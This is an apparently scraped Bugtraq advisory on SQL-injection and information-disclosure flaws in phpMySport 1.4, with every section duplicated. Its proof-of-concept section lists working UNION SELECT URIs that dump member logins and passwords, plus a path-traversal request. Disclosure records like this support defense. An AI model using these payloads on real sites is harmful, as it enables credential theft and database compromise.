phpMySport Information Disclosure and SQL Injection Vulnerabilities
BID:37856
Info
phpMySport Information Disclosure and SQL Injection Vulnerabilities
| Bugtraq ID: | 37856 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-1109 CVE-2010-1110 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 18 2010 12:00AM |
| Updated: | Apr 13 2015 09:03PM |
| Credit: | Amol Naik |
| Vulnerable: |
phpMySport phpMySport 1.4 |
| Not Vulnerable: | |
Discussion
phpMySport Information Disclosure and SQL Injection Vulnerabilities
phpMySport is prone to an information-disclosure vulnerability and multiple SQL-injection issues.
Exploiting the information-disclosure issue may allow an attacker to obtain potentially sensitive information. The attacker can exploit the SQL-injection issues to carry out unauthorized actions on the underlying database, which may compromise the application and may aid in further attacks.
phpMySport 1.4 is vulnerable; other versions may also be affected.
phpMySport is prone to an information-disclosure vulnerability and multiple SQL-injection issues.
Exploiting the information-disclosure issue may allow an attacker to obtain potentially sensitive information. The attacker can exploit the SQL-injection issues to carry out unauthorized actions on the underlying database, which may compromise the application and may aid in further attacks.
phpMySport 1.4 is vulnerable; other versions may also be affected.
Exploit / POC
phpMySport Information Disclosure and SQL Injection Vulnerabilities
Attackers can exploit the issues via a browser.
The following example URIs are available:
http://www.example.com/phpmysport/index.php?r=member&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,concat(member_login,0x3a,member_pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=news&v1='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,concat(member_login,0x3a,member_pass),8,9,10,11,12,13,14,15,16,17+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=information&v1='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,7,concat(member_login,0x3a,member_pass),9,10,11,12,13,14,15,16,17,18,19+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=team&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,concat(member_login,0x3a,member_pass),6,7,8+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=club&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,concat(member_login,0x3a,member_pass),5,6,7,8,9,10,11,12,13,14+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=matches&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(member_login,0x3a,member_pass),20,21,22,23,24,25,26,27,28+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=file&v1=file_manager&current_folder=/../../../&fen=pop
Attackers can exploit the issues via a browser.
The following example URIs are available:
http://www.example.com/phpmysport/index.php?r=member&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,concat(member_login,0x3a,member_pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=news&v1='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,concat(member_login,0x3a,member_pass),8,9,10,11,12,13,14,15,16,17+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=information&v1='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,7,concat(member_login,0x3a,member_pass),9,10,11,12,13,14,15,16,17,18,19+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=team&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,concat(member_login,0x3a,member_pass),6,7,8+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=club&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,concat(member_login,0x3a,member_pass),5,6,7,8,9,10,11,12,13,14+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=matches&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(member_login,0x3a,member_pass),20,21,22,23,24,25,26,27,28+from+pms_member--+-
http://www.example.com/phpmysport/index.php?r=file&v1=file_manager&current_folder=/../../../&fen=pop
Solution / Fix
phpMySport Information Disclosure and SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
phpMySport Information Disclosure and SQL Injection Vulnerabilities
References:
References:
- Vendor Homepage (PhpMySport)